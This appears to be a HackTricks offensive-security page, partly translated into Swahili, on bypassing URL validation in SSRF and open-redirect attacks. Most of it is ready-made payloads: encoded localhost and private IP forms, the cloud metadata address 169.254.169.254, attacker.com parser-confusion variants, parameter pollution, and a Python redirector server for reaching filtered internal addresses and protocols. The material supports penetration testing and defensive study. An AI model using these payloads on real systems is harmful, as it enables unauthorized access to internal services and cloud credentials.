# URL Format Bypass {{#include ../../banners/hacktricks-training.md}} ### Localhost ```bash # Localhost 0 # Yes, just 0 is localhost in Linuc http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Mixed encodings bypass 169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../images/image (776).png>) Kiendelezi cha **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) kinatekeleza njia za kupita muundo wa IP. ### Mchambuzi wa Kikoa ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Kichanganyiko cha Kikoa ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### Paths and Extensions Bypass Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiambatisho, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi. ### Automatic Custom Wordlists Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza mwenyeji aliyetengwa na waathiriwa na itaunda orodha ya URLs za kujaribu kwako. Pia inazingatia ikiwa unaweza kutumia URL hiyo katika parameter, katika kichwa cha Host au katika kichwa cha CORS. {{#ref}} https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet {{#endref}} ### Bypass via redirect Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** linalowezekana kwa ombi hilo.\ Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **param ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\ [Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## Explained Tricks ### Blackslash-trick The _backslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa kiwango cha WHATWG kwa backslash (`\`) kama sawa na forward slash (`/`), ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) ### Left square bracket Character ya “left square bracket” `[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji ambayo inatofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) ### Other Confusions ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>) image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ## References - [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) {{#include ../../banners/hacktricks-training.md}}